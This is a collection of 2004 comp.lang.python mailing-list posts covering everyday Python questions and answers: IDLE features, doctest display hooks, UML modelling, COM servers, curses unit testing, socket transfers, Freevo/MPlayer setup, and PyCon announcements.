Kurt B. Kaiser wrote:
> I have been planning on implementing an integrated Shell Clear
> capability in IDLE 1.1 which would truncate the Shell Text widget.
> Just re-opening the Shell window would probably move it on the screen,
> so that is not very attractive.
> 
> The question for the list is, should Clear be orthogonal to Reset or
> should Clear also do a Reset?

It should be separate.  When I run something with a print spewing
far more information than I expected, I want to wipe the output.
I'd really like to just cut that part out, but clearing the text
buffer is good enough.  On the other hand, I often want to repeat
the commands I just typed with slight variations.  I really wouldn't
like to lose those just because I typed the name of a hopelessly
large array.

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From prouleau at impathnetworks.com  Fri Feb 27 15:59:33 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Fri, 27 Feb 2004 15:59:33 -0500
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <c1o2m9$orh$00$1@news.t-online.com>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>	<mailman.191.1077856934.8594.python-list@python.org>	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<mailman.199.1077893785.8594.python-list@python.org>
	<uZJ%b.23270$ee3.513937@news20.bellglobal.com>
	<c1ns58$kti$03$1@news.t-online.com>
	<s7L%b.18214$Mo4.612706@news20.bellglobal.com>
	<MvL%b.20343$253.1307828@news20.bellglobal.com>
	<c1o2m9$orh$00$1@news.t-online.com>
Message-ID: <t3O%b.18482$Mo4.625943@news20.bellglobal.com>

Peter Otten wrote:
> Pierre Rouleau wrote:
> 
> 
>>It worked, BUT only for a simple function, it fails if I add a another
>>simple function:
> 
> 
> Haven't read your post completely, but judging from the error message, it's
> just a minor glitch in mydisplayhook(). Try the following instead:
> 
> 
> 
>>>>def mydisplayhook(a):
> 
> ...     if a is not None:
> ...             sys.stdout.write("%r\n" % (a,))
> ...
> 
> That should be able to cope with tuples as commandline results.
> 
> Peter


You're right!  It does work. I must admit, that I don't see why though. 
  (a,) makes a tuple out of the `a` argument.  Does the %r conversion 
require a tuple?


From alan.gauld at btinternet.com  Mon Feb 23 17:38:13 2004
From: alan.gauld at btinternet.com (Alan Gauld)
Date: Mon, 23 Feb 2004 22:38:13 +0000
Subject: modeling python with UML
References: <c1ckru$jgu$1@news.rz.uni-karlsruhe.de>
Message-ID: <h10l30dg4v1ekf3vnmtup4c7t6vqm300js@4ax.com>

On Mon, 23 Feb 2004 11:32:30 +0100, Uwe Mayer <merkosh at hadiko.de>
wrote:
> Packages would be moduled as UML packages i presume.

Could be, or as components since they are physical deployable
entities...

> If your module contains only functions you can model them as static class
> methods, either by writing a dummy class that takes them up or by
> representing the file as a class.

Yes, thats one approach, or they could be an inteface to your
component.

> However, if you module contains several classes - what do you do then?

UML packages are logical containers that can contain any other
UML item (classes, usecases, components, other packages...). Thus
a package can contain several classes. What exactly do you
perceive to be the problem?

Alan G.

Author of the Learn to Program website
http://www.freenetpages.co.uk/hp/alan.gauld


From __peter__ at web.de  Fri Feb 13 05:47:59 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 13 Feb 2004 11:47:59 +0100
Subject: Multiply a tuple by a constant
References: <1d17eeb7.0402130220.7258a5bd@posting.google.com>
	<c0i9k7$p3$05$1@news.t-online.com>
Message-ID: <c0ia10$tri$00$1@news.t-online.com>

These days list comprehensions are preferred:

>>> tuple([5*i for i in (1,2,3)])
(5, 10, 15)




From tat-novos at rambler.ru  Wed Feb  4 04:32:06 2004
From: tat-novos at rambler.ru (tat-novos at rambler.ru)
Date: Wed, 4 Feb 2004 11:32:06 +0200
Subject: Test
Message-ID: <200402040931.i149VpD0013493@mxzilla4.xs4all.nl>



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From robin at jessikat.fsnet.co.uk  Sun Feb  1 05:48:21 2004
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sun, 1 Feb 2004 10:48:21 +0000
Subject: new extension type inheriting from list
Message-ID: <3pH8tJA1lNHAFw2I@jessikat.fsnet.co.uk>

Is there any example anywhere of a new style extension type that
inherits from a built in type. I would like to write a list based type,
but although I see there is a tp_bases slot I suspect there's more that
I need to know. How does one handle the forwarding of members and
methods etc. How does one do explicit super etc?
-- 
Robin Becker


From jcarlson at nospam.uci.edu  Mon Feb 16 13:50:57 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 16 Feb 2004 10:50:57 -0800
Subject: Hiding modules
In-Reply-To: <c0qde1$3s6$1@gist.usc.edu>
References: <c0mpkn$i1d$1@gist.usc.edu>
	<4f0a9fdb.0402160359.33f90363@posting.google.com>
	<c0qde1$3s6$1@gist.usc.edu>
Message-ID: <c0r3j8$268$1@news.service.uci.edu>


import sys
import traceback


class MyDict(UserDict):
     def __getitem__(self, key):
         try:
             raise ""
         except:
             a = traceback.extract_stack()
         #do all your call checking on a
     #similar checks for __setitem__

sys.modules = MyDict(sys.modules)

Do as many checks on the caller that tries to access a module via 
sys.modules as you want.

You could also replace new.module with similar attribute get and set 
permission checking, though my testing suggests that this may not be 
enough (perhaps import keeps a reference to the original version of 
new.module, or something).

  - Josiah


From noemail at noemail4u.com  Mon Feb  9 10:11:25 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Mon, 09 Feb 2004 15:11:25 GMT
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all)
	available
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
Message-ID: <6d7616d2371cabf820070c61a59f6f96@news.teranews.com>

On Sun, 08 Feb 2004 09:39:10 +1100, Mark Hammond
<mhammond at skippinet.com.au> wrote:
>All comments appreciated!

    What with _Learning_Python_ having a second edition, is there any
plan for a second edition _Python_Programming_on_Win32_ ?
    --dang


From ric_n_cerq at iol.pt  Sun Feb 22 09:36:26 2004
From: ric_n_cerq at iol.pt (Ricardo)
Date: Sun, 22 Feb 2004 14:36:26 +0000
Subject: learning to program with Python
Message-ID: <4038BE6A.5010902@iol.pt>

Hi, my name is Ricardo and i'm learning to program in Python with 
version 2.3.3, i'm also using the latest version of PythonWin(163) but 
i'm trying to do it with a book (Written in Portuguese) that covers the 
version 2.1, and of course i'm having a problem. The code in wich i'm 
having problems is as follows:

class Gato:
	"um felino domesticado"
	def __init__(self, sexo, corPelo=None):
		self.sexo = sexo
		if corPelo != None
		  self.corPelo = corPelo
	def miar(self):
		if self.sexo == "m":
			return "MIAU"
		else:
			return "miauuuu"
the book says that it should be done like this, but when i finnish the 
5th line(if corPelo != None) and press ENTER, it gives me the error:

  Traceback (  File "<interactive input>", line 5
     if corPelo != None
                       ^
SyntaxError: invalid syntax

I hope someone can help me?
Thanks in advance anyway.

Ricardo




From Kyler at news.Lairds.org  Tue Feb 17 12:11:56 2004
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Tue, 17 Feb 2004 17:11:56 GMT
Subject: my notes for playing DVDs on VIA C3 system (Freevo/MPlayer)
Message-ID: <m4u9g1-523.ln1@jowls.lairds.org>

I've been collecting small, quiet computers for a few years now in
the hope that one would finally be able to (perform as advertised
and) allow me to watch DVDs.  Much to my wife's dismay, I've
refused to buy a consumer DVD player.

Recently I got MPlayer to play DVDs on my VIA C3 (933MHz) system.
I had to use the VESA video driver ("-vo vesa") and OSS audio
driver ("-ao oss") in order to get good frame rates.  This has been
working well and we've been happily watching DVDs for about a month.

I recently rigged a simple script to play a DVD as soon as it's
inserted and then eject it.  That was enough to let my wife watch
without waiting for me to log in to the machine to initiate
playback, but that failed when we got the "Sex and the City"
compilation.  Each episode is a separate track.  (Yes, I know there
is a DVD navigation plugin for MPlayer and I used it long ago.)

So...time to bite the bullet and look into the "home theater"
platforms again.  I'd tried MythTV and Freevo before but it had
been awhile.  I took another shot.

MythTV appears to be much more refined and feature-rich.  
	http://www.mythtv.org/
I fought through the MySQL installation and got all of my
television network program data, but I couldn't see how I'd get it
to use (something equivalent to) VESA output for movies using its
integrated viewer.  Without that I was stuck with a few frames per
second of video (and broken audio).

Next up, Freevo.
	http://freevo.sourceforge.net/about.html
I like Freevo because it's based on Python.  That means I might
have a chance of doing fun things with it.  Its other big
attraction is that it's not as monolithic as MythTV.  It's able
to use Xine and MPlayer.  

There's a version of Xine in the works that takes advantage of
the hardware MPEG decoder on this VIA miniITX system I'm using,
but for now MPlayer with VESA output is dandy.  I fired up Freevo
and was pleased to see it find the DVD in the "Watch movies"
section.  I selected it and got MPlayer with (slow) X11 output.

No problem, right?  Digging through some source, I decided to add
	MPLAYER_AO_DEV       = 'oss'
	MPLAYER_VO_DEV       = 'vesa'
to my configuration.  Now when I started DVD playback, I got a
fraction of a second of sound and then MPlayer died, returning me
to Freevo.

I spent quite a bit of effort debugging this.  I could run MPlayer
with the same arguments from the command line and it worked fine,
but if Freevo started it, it died (with a signal 11?).

Finally I tried the CVS version of MPlayer.  Success!  I'm not
sure what changed, but it worked.  Now I had a problem with
returning to the Freevo screen after MPlayer finished.  I knew it
was there (because if I hit "Enter" the movie would start again)
but I only saw a black screen.

My solution was to build a wrapper for mplayer.
	#!/bin/sh

	original_VT=`fgconsole`

	/usr/local/bin/mplayer.real $@
	python -c "print '%cc' % (27)"

	(
	chvt 1
	chvt ${original_VT}
	) &
Now, when the movie ends, the cursor is returned to the console
(That's been bothering me for a long time.) and the console is
switched enough to kick Freevo in the head so that it awakes and
refreshes the display.

This is great!

BTW, I'm using Freevo 1.4.1.  I tried using the CVS snapshot but
it always adds a "-pp" argument when calling MPlayer.  That
causes MPlayer to die.  There doesn't appear to be a way to turn
it off (although it's easy to find and disable in the script). 
I decided to stick with 1.4.1.

I just installed a PVR-250 so I hope to get the tuner working
and do some recording, etc. 

--kyler


From fumanchu at amor.org  Fri Feb 27 16:58:36 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Fri, 27 Feb 2004 13:58:36 -0800
Subject: Reading data from file: x(i),y(i) form
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561DD3@opus.amorhq.net>

Satish Chimakurthi wrote:

> I have data of the following form
> 
>   1.00000000000000        0.00000000000000D+000
>   0.959753969508636       0.280842158538236
>   0.842255363975169       0.539078752924891
>   0.656961888321583       0.753923787456623
>   0.418788196289889       0.908083942512068
>   0.146905379223583       0.989150549489397
> 
> My aim is to read the data into x(i), y(i) where
> i=1,6, and I wrote the following code for the purpose.

Try this:

ifile4=open('fluid.dat','r') 
points = []
for i, line in enumerate(ifile4.readlines()):
        points.append(map(float,line.replace('D','E').split()))
        if i==7:
           break

print points


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From dan at ithium.net  Wed Feb  4 01:28:38 2004
From: dan at ithium.net (Dan Williams)
Date: Wed, 4 Feb 2004 06:28:38 -0000
Subject: Modules, namespaces, parents, and import
Message-ID: <E1AoGX5-0006RR-4z.2004-02-04-06-29-07@tmailb1.svr.pol.co.uk>

Hi people

I've just joined the Python list and although I'm sure my question must be
asked fairly frequently, I have been unable to find an answer after two days
of searching. For the record, my total Python experience is also two days :)
(I come from a C++ background though, so I have good programming knowledge
in general).

My question is thus: how do I reference a parent module and its children?

For instance:

main.py
-------
import sys, module1
a = 5
module1.DoStuff()

module1.py
----------
def DoStuff():
    print a
    sys.exit(0)

OK, so of course everyone is going to go "ahhhh, that won't work!" ...well,
of course not, but you can see what my intention is. The first problem is
referencing the sys module - the only way I have managed to make it work is
to import sys in module1, which is inefficient and impractical (to say
nothing of leading to awful disorganisation!). So... how do I refer to the
sys module from inside module1, when sys has been loaded inside the main
module's namespace? (e.g. parent.sys.exit(), self.parent.sys.exit(), etc.)
I'm looking for some kind of reference to parent here, and although I have
found some stuff about __dict__ and it's relatives (and some stuff about
____ but that seems discontinued) I cannot find how to do this.

So, the next thing is the variables that belong to main.py, namely a in this
case. Assuming that some kind and helpful soul points me in the right
direction by giving me a way to reference the parent namespace, can I then
access member variables in the way that seems logical...? e.g. parent.a or
self.parent.a or whatever kind of structure the referencing follows. (Yup
this one should be self-explanatory once I know how to reference the parent
module, but I just want to check :) ).

Finally, if you can see any obvious flaws with the way I am thinking about
modules, please point them out to me. I'm used to C++ headers and externs,
and PHP includes, but Python modules and packages are now to me. That said,
the basic theory seems straightforward and so long as I can reference
parents, I like the namespace implementation.

Cheers

Dan





From cookedm+news at physics.mcmaster.ca  Fri Feb 20 16:52:07 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Fri, 20 Feb 2004 16:52:07 -0500
Subject: unitest with python curses app
References: <pan.2004.02.20.14.52.46.212175.11822@sympatico.ca>
Message-ID: <qnkoertto54.fsf@arbutus.physics.mcmaster.ca>

At some point, Brian <balex at sympatico.ca> wrote:

> Hello;
>
> I'm writing a program with curses in python and having a bit of trouble
> understanding how to use unittest. So far, I have used testing
> successfully -- as long as the report goes to stdout (or does unittest
> write to stderr?)

I'm interested: how are you unit testing curses routines? Are you
testing just the output routines, or are other non-curses routines
being called?

> The curses part of the program seems to affect unittest's writing of the
> report. The screen is not what the report expects, so a lot of
> information is in the wrong place after the program exits. (I actually wrap
> the calls into the
> curses library with curses.wrapper() in an attempt to restore the display
> properly after the program exits -- to no avail. I guess the problem is
> that unittest writes to the display while curses has control, not just
> just afterwards.

Right. Pain in the ass to debug that stuff too.

> How do I handle test reporting for a graphical (curses) application? I
> would really like to read or capture the report on screen after the
> program exits.

Probably setting sys.stdout and sys.stderr to your own file objects
would work before calling unittest.main(). Something like this would
give the output after it runs:

import sys
from cStringIO import StringIO
import unittest

...test cases...

if __name__ == '__main__':
   old_stdout, old_stderr = sys.stdout, sys.stderr
   sys.stdout = StringIO()
   sys.stderr = StringIO()
   unittest.main()
   old_stdout.write(sys.stdout.getvalue())
   old_stderr.write(sys.stderr.getvalue())
   
-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From cwarren at syscononline.com  Thu Feb 19 18:01:51 2004
From: cwarren at syscononline.com (UrgeOverkill)
Date: 19 Feb 2004 15:01:51 -0800
Subject: Problem Sending Data with SocketServer.ThreadingTCPServer
Message-ID: <2abe74e5.0402191501.1d80722f@posting.google.com>

I'm having a problem sending data from a socket server.  The server
side reports that it has sent 4845 bytes but the client reports only
1448 bytes received.  The kicker is that this ONLY happens accross the
internet...  I've tested this with multiple connections.  If I run the
same server and client, connect them locally I don't have a problem
with byte totals.  Is there a timeout that I need to set... I've
looked at and change several SOL_SOCKET parameters (i.e. SO_SNDBUF,
etc) but this hasn't fixed my problem... This is the last thing I need
to fix on this and any help would be greatly appreciated...


From wstandley at netpv.com  Mon Feb 16 08:07:44 2004
From: wstandley at netpv.com (Will)
Date: Mon, 16 Feb 2004 13:07:44 GMT
Subject: Where to download Mark Fletcher's ResourcePackage?
References: <y43Yb.236853$rj7.1533430@twister.tampabay.rr.com>
Message-ID: <Ag3Yb.236856$rj7.1534561@twister.tampabay.rr.com>

OK... I found it...

Duh... it was only right there in front of my face :(

Gusess I took the wrong fork in the road when I decided to get out of bed
this morning :)

Have a good day folks.

Will

"Will" <wstandley at netpv.com> wrote in message
news:y43Yb.236853$rj7.1533430 at twister.tampabay.rr.com...
> I just want to download a compiled version of ResourcePackage with some
> doc's... so I can use it...
>
> Here is my sad story...
>
> Thomas Heller suggested this to me and I want to download it...
>
> I click the link he provided... http://resourcepackage.soundforge.net/
>
> It tells me for download to go to...
> http://sourceforge.net/projects/resourcepackage/
>
> Clicking Download there takes me to...
>
http://sourceforge.net/project/showfiles.php?group_id=71287&package_id=70858&release_id=193305
>
> Where v 1.0.0 (final) is shown to have 3 source files in it but no
compiled
> verson... I think.
>
> I was hoping to find a compiled version to run on the PC... is there such?
>
> I did try clicking on 1.0.0(final) and it toom me here...
> http://sourceforge.net/project/shownotes.php?release_id=193305 which has
> notes about the release... except 1.0.0 (final) on that page is a link...
I
> tried it... got me to
>
> http://sourceforge.net/project/showfiles.php?group_id=71287
>
> Which had 1.0.0 (final) and prior releases listed on it, each was a
link...
> I tried 1.9.9 (final) again...
>
> Got me back to the previous page...
> http://sourceforge.net/project/shownotes.php?release_id=193305
>
> So now I'm looping.
>
> Can anybody tell me where I took the wrong fork in the road... and
hopefully
> it won't be when I decided to get out of bed this morning :)
>
> Will
>
>
>




From n4we at bellsouth.net  Sat Feb  7 11:13:24 2004
From: n4we at bellsouth.net (Tom Richardson)
Date: Sat, 7 Feb 2004 10:13:24 -0600
Subject: Python and DISLIN
Message-ID: <%38Vb.14040$Rl4.340@bignews5.bellsouth.net>

If anyone has any experience using the graphics package DISLIN with Python,
I'd appreciate some help.

I am trying to use the function tifmod to change the resolution of a tif
graphics file. Either I am using it incorrectly, or I don't understand what
it is supposed to do.
If I use

tifmod(N,'INCH','RESOLUTION')

and change the value of N, I think the size and properties of the resulting
tif file should change; but nothing seems to change, regardless of how I set
N (or any of the other parameters). I always get a tif file with the same
size and characteristics (I did delete the file before each trial).

What do I not understand?

Thanks,

Tom




From jcarlson at nospam.uci.edu  Sun Feb  8 01:00:21 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 22:00:21 -0800
Subject: software design question
In-Reply-To: <c03ris$c2t$2@news.rz.uni-karlsruhe.de>
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<c03h78$dfc$1@news.service.uci.edu>
	<c03ris$c2t$2@news.rz.uni-karlsruhe.de>
Message-ID: <c04je2$d66$1@news.service.uci.edu>

 From the sounds of your posts, you want your software to be "modular", 
in that you want have one file for each of the different components, but 
you don't want to spend the time to pass down all the proper references. 
  As a result, you want to have a single global namespace for all of 
your modules, so that you don't have to pass anything down.

There is another kludge:
#main.py
import x
import y

#make a copy of the dictionaries so that
xold = dict(x.__dict__)
yold = dict(y.__dict__)
x.__dict__.update(yold)
y.__dict__.update(xold)

x.xrunme()
y.yrunme()

#x.py
def xrunme():
     print "calling yrunyou"
     yrunyou()

def xrunyou():
     print "called xrunyou"

#y.py
def yrunme():
     print "calling xrunyou"
     xrunyou()

def yrunyou():
     print "called yrunyou"


In the above, you don't even need to import the sibling modules. 
Believe it or not, it works.

I would suggest you just put everything into a single file.  500 lines 
is not that large.  Heck, a few thousand isn't even that bad, as long as 
you pay attention to what you are doing and use an editor with a 
browsable source tree/class heirarchy, and comment liberally.

  - Josiah

P.S. For more stuff on this topic, check the thread with subject "Basic 
'import' problem", which has the same subjects pop up.


From andymac at bullseye.apana.org.au  Thu Feb  5 17:04:56 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Fri, 6 Feb 2004 09:04:56 +1100 (EST)
Subject: "ulimit -s" has no effect?
In-Reply-To: <87n07xwqi3.fsf@dgp.toronto.edu>
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<bvsndq$q03$00$1@news.t-online.com>
	<87n07xwqi3.fsf@dgp.toronto.edu>
Message-ID: <20040206085030.X49022@bullseye.apana.org.au>

On Fri, 5 Feb 2004, Maciej Kalisiak wrote:

> I check that it is set by running "ulimit -s" without a numerical argument.
> The reported value is the one I have set, viz. much larger than the default of
> 8192 (kbytes).  This is the soft limit.  The hard limit is reported to be
> "unlimited".

I have no idea whether this affects Linux, but some pthreads
implementations hard code the stack size for the "primary" or
"initial" thread.

Python is built with thread support if possible (incl on Linux), but
without explicit use of the thread support Python code runs in the context
of the "primary" thread.

ISTR that RedHat, amongst others, changed thread implementations
relatively recently.

I know that there is/was a bug in the Python bug tracker on SF related
to this issue on Linux (symptom is test_sre dumping core) with Python
2.3.3.  This particular issue is sensitive to the version of gcc and
optimisation settings (& on Linux, whether the Python core is in a SO),
as newer releases/higher optimisation settings result in larger stack
frames.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
Web:    http://www.andymac.org/               |        Australia



From jcarlson at nospam.uci.edu  Mon Feb  9 23:47:11 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 09 Feb 2004 20:47:11 -0800
Subject: JPG Image Load,Resize,Save with 100% Python?
In-Reply-To: <6ee58e07.0402090446.64b0a9aa@posting.google.com>
References: <c05dj3$q37$04$1@news.t-online.com>
	<6ee58e07.0402081805.4cc5df7b@posting.google.com>
	<c06vne$ilr$1@news.service.uci.edu>
	<6ee58e07.0402090446.64b0a9aa@posting.google.com>
Message-ID: <c09nsv$fco$1@news.service.uci.edu>

>>140 seems pretty extreme.  Most tests I've run put numeric calculations 
>>at around 10-20 times slower, not 140.
> 
> A Jpeg libaary with a good optimization does only integer algorithm
> and this is different from FP operations which are already slow on
> Intel CPU's.
> 
> But i find find it strange that numerics (without using special
> extensions) should only be 10-20 times slower then C. This is not what
> you find in other benchmarks.

That 10-20 times slower metric was doing numerical integration in pure 
Python and ANSI standard C, originally run using Python version 2.0 (2.3 
is roughly 20% faster than 2.0).  Certainly it was using floating point 
math, but that suggests that there is less of a difference using Python 
and FP math than when using integer math.


> For example in the great language shootout 
> "http://www.bagley.org/~doug/shootout/bench/sieve/"
> you find that the "Sieve of Eratosthenes" as an integer algorithm 207
> times slower then c. I think the algorithms are compareable in their
> use of instructions.

I just sent the author an update to his version in Python that reduces 
runtime from ~47 seconds to ~37 seconds, putting it at only ~160 times 
slower.

Unfortunately the test still isn't fair.  The Python version ends up 
creating and destroying lists (arrays) of 8193 elements, and over the 
running of the algorithm, will need to allocate and free 8 megs.  It 
turns out that creating and destroying is faster in Python, but that 
really just means that Python should probably have a better sequence 
initialization function.


  - Josiah



From simoninusa2001 at yahoo.co.uk  Wed Feb  4 00:55:14 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 3 Feb 2004 21:55:14 -0800
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<qgm5f1-8km.ln1@twocups.netride.net>
Message-ID: <30260531.0402032155.1ea8cd5a@posting.google.com>

RISC OS: Pluto

Windows: Forte Agent (certainly not Gemini or Outlook)

UNIX: Mozilla Thunderbird


From no at spam.pls  Fri Feb 20 04:58:13 2004
From: no at spam.pls (Matthias)
Date: 20 Feb 2004 10:58:13 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<mailman.86.1077050210.31398.python-list@python.org>
	<a8623416.0402181148.20865556@posting.google.com>
	<xqxbrnvbhvk.fsf@cola2.ca.boeing.com>
Message-ID: <36wvfm2hy2y.fsf@goya03.ti.uni-mannheim.de>

Harry George <harry.g.george at boeing.com> writes:

> It is common for a ComSci prof or grad student to crank up such a
> study, using undergrad and grad students as the subjects.  These
> subjects can generally be coerced to participate ("it is required for
> the course").  For "novice programmer" research, high school students
> are often used.  These tend to be self-selected, and ar not
> representative for the general population.

Are these studies published?  I see the limitations, but still would
be interested in the results.  So far, I found only the papers of Lutz
Prechtel et al. on the web.

  Matthias


From dtcheung66 at hotmail.com  Mon Feb 23 15:53:02 2004
From: dtcheung66 at hotmail.com (Dave)
Date: Mon, 23 Feb 2004 13:53:02 -0700
Subject: Python COM server
Message-ID: <Sea2-DAV45IbA7YUYHt0000024d@hotmail.com>

I have been trying an example from the Python Programming on Win32 book on the lastest versions of python (2.3.3) and win32all (build 163).  I create the COM object and try to call it from VB but i can't seem to create the child.  

debugging = 1
if debugging:
    from win32com.server.dispatcher import DefaultDebugDispatcher
    useDispatcher = DefaultDebugDispatcher
else:
    useDispatcher = None
    
class Parent:
    _public_methods_ = ['CreateChild', 'KissChild']
    _reg_clsid_= "{E8F7F001-DB69-11D2-8531-204C4F4F5020}"
    _reg_progid_ = "PythonDemos.Parent"
  
    def CreateChild(self):
        child = Child()
        print "Our Python child is", child
        wrapped = wrap( child, useDispatcher=useDispatcher )
        print "Returning wrapped", wrapped
        return wrapped

    def KissChild(self, child):
        print "KissChild called with child", child
        dispatch = win32com.client.Dispatch(child)
        print "KissChild called with child named", dispatch.Name

        child = umwrap(child)
        print "The Python child is", child

    class Child:
        _public_methods_ = []
        _public_attrs_ = ['Name']
        def __init__(self):
            self.name = "Unnamed"

if __name__ == '__main__':
    import win32com.server.register
    win32com.server.register.UseCommandLine (Parent, debug=debugging)


This is the error in the Python Trace Collector:

Object with win32trace dispatcher created (object=None)
in <ParentChild.Parent instance at 0x04609BE8>._QueryInterface_ with unsupported
 IID IPersistStreamInit ({7FD52380-4E07-101B-AE2D-08002B2EC713})
in <ParentChild.Parent instance at 0x04609BE8>._QueryInterface_ with unsupported
 IID IPersistPropertyBag ({37D84F60-42CB-11CE-8135-00AA004BB851})
in _GetIDsOfNames_ with '('CreateChild',)' and '1033'

in _Invoke_ with 1000 1033 3 ()
Traceback (most recent call last):
  File "C:\Python23\lib\site-packages\win32com\server\dispatcher.py", line 40, i
n _Invoke_
    return self.policy._Invoke_(dispid, lcid, wFlags, args)
  File "C:\Python23\lib\site-packages\win32com\server\policy.py", line 275, in _
Invoke_
    return self._invoke_(dispid, lcid, wFlags, args)
  File "C:\Python23\lib\site-packages\win32com\server\policy.py", line 280, in _
invoke_
    return S_OK, -1, self._invokeex_(dispid, lcid, wFlags, args, None, None)
  File "C:\Python23\lib\site-packages\win32com\server\policy.py", line 541, in _
invokeex_
    return func(*args)
  File "C:\Python23\ParentChild.py", line 16, in CreateChild
    child = Child()
NameError: global name 'Child' is not defined
pythoncom error: Python error invoking COM method.
Traceback (most recent call last):
  File "C:\Python23\lib\site-packages\win32com\server\dispatcher.py", line 129,
in _Invoke_
    return DispatcherBase._Invoke_(self, dispid, lcid, wFlags, args)
  File "C:\Python23\lib\site-packages\win32com\server\dispatcher.py", line 42, i
n _Invoke_
    self._HandleException_()
  File "C:\Python23\lib\site-packages\win32com\server\dispatcher.py", line 107,
in _HandleException_
    reraise()
  File "C:\Python23\lib\site-packages\win32com\server\dispatcher.py", line 40, i
n _Invoke_
    return self.policy._Invoke_(dispid, lcid, wFlags, args)
  File "C:\Python23\lib\site-packages\win32com\server\policy.py", line 275, in _
Invoke_
    return self._invoke_(dispid, lcid, wFlags, args)
  File "C:\Python23\lib\site-packages\win32com\server\policy.py", line 280, in _
invoke_
    return S_OK, -1, self._invokeex_(dispid, lcid, wFlags, args, None, None)
  File "C:\Python23\lib\site-packages\win32com\server\policy.py", line 541, in _
invokeex_
    return func(*args)
  File "C:\Python23\ParentChild.py", line 16, in CreateChild
    child = Child()
exceptions.NameError: global name 'Child' is not defined


The COM object always seems to fail whenever I call a subclass saying that its not defined.  I'm not to sure what the problem is.  Any help would be appreciated.

Thanks

David
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From pycon at python.org  Sat Feb 21 16:10:47 2004
From: pycon at python.org (PyCon Chair)
Date: Sat, 21 Feb 2004 16:10:47 -0500
Subject: PyCon talks and schedule posted
Message-ID: <20040221211047.GA25618@panix.com>

First of all, don't forget that early-bird reg ends midnight Sunday Feb 22.

We've now got a list of talks and a planned schedule:

    http://www.pycon.org/dc2004/talks/
    http://www.python.org/pycon/dc2004/schedule.html

We've also added Guido van Rossum and Bruce Eckel as keynote speakers:

    http://www.pycon.org/dc2004/talks/keynote



PyCon is a community-oriented conference targeting developers (both those
using Python and those working on the Python project).  It gives you
opportunities to learn about significant advances in the Python
development community, to participate in a programming sprint with some
of the leading minds in the Open Source community, and to meet fellow
developers from around the world.  The organizers work to make the
conference affordable and accessible to all.

DC 2004 will be held March 24-26, 2004 in Washington, D.C. at the GWU
Cafritz Conference Center.  The keynote speakers are Mitch Kapor, Guido
van Rossum, and Bruce Eckel.  There will be a four-day development sprint
before the conference (March 20-23).

We're looking for volunteers to help run PyCon.  If you're interested,
subscribe to http://mail.python.org/mailman/listinfo/pycon-organizers

Don't miss any PyCon announcements!  Subscribe to
http://mail.python.org/mailman/listinfo/pycon-announce

You can discuss PyCon with other interested people by subscribing to
http://mail.python.org/mailman/listinfo/pycon-interest

The central resource for PyCon DC 2004 is
http://www.pycon.org/dc2004/
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python



From maxwell at ldc.upenn.edu  Mon Feb 23 15:38:59 2004
From: maxwell at ldc.upenn.edu (Mike Maxwell)
Date: Mon, 23 Feb 2004 15:38:59 -0500
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
References: <c1dms2$l8b$1@sea.gmane.org> <20040223202057.GA9644@nl.linux.org>
Message-ID: <c1docp$pq6$1@sea.gmane.org>

Gerrit wrote:
> You can put in your .pythonrc:
>
> from sys import exit
>
> It helps!

It does indeed--thanks!

Actually, I tried putting this in both ~/.pythonrc and ~/.pythonrc.py (the
latter as suggested by the Python documentation I checked after reading
Gerrit's msg).  Neither seemed to work, for reasons I don't understand (but
which are probably explained in the documentation. Somewhere).

However, by putting the above import cmd into a file and then setting the
env var 'PYTHONSTARTUP' to point to this file, it works.  (According to the
documentation, this has the effect of only being read when Python is started
interactively--not when it is run e.g. from a script.  That's fine with me.)

Again, thanks--while I still think the design feature that outputs the "use
ctrl-D..." msg is a Bug, this is a nice work-around.

    Mike Maxwell






From eo-admin at li.org  Wed Feb 11 09:29:02 2004
From: eo-admin at li.org (eo-admin at li.org)
Date: Wed, 11 Feb 2004 14:29:02 +0000
Subject: Your message to eo awaits moderator approval
Message-ID: <20040211142902.9426.25899.Mailman@zaphod.alt.org>

Your mail to 'eo' with the subject

    Status

Is being held until the list moderator can review it for approval.

The reason it is being held:

    Post by non-member to a members-only list

Either the message will get posted to the list, or you will receive
notification of the moderator's decision.



From james at logicalprogression.net  Wed Feb  4 07:15:31 2004
From: james at logicalprogression.net (James Henderson)
Date: Wed, 4 Feb 2004 12:15:31 +0000
Subject: install Ctrl-C handler
In-Reply-To: <bvqn4r$7ga$1@news.rz.uni-karlsruhe.de>
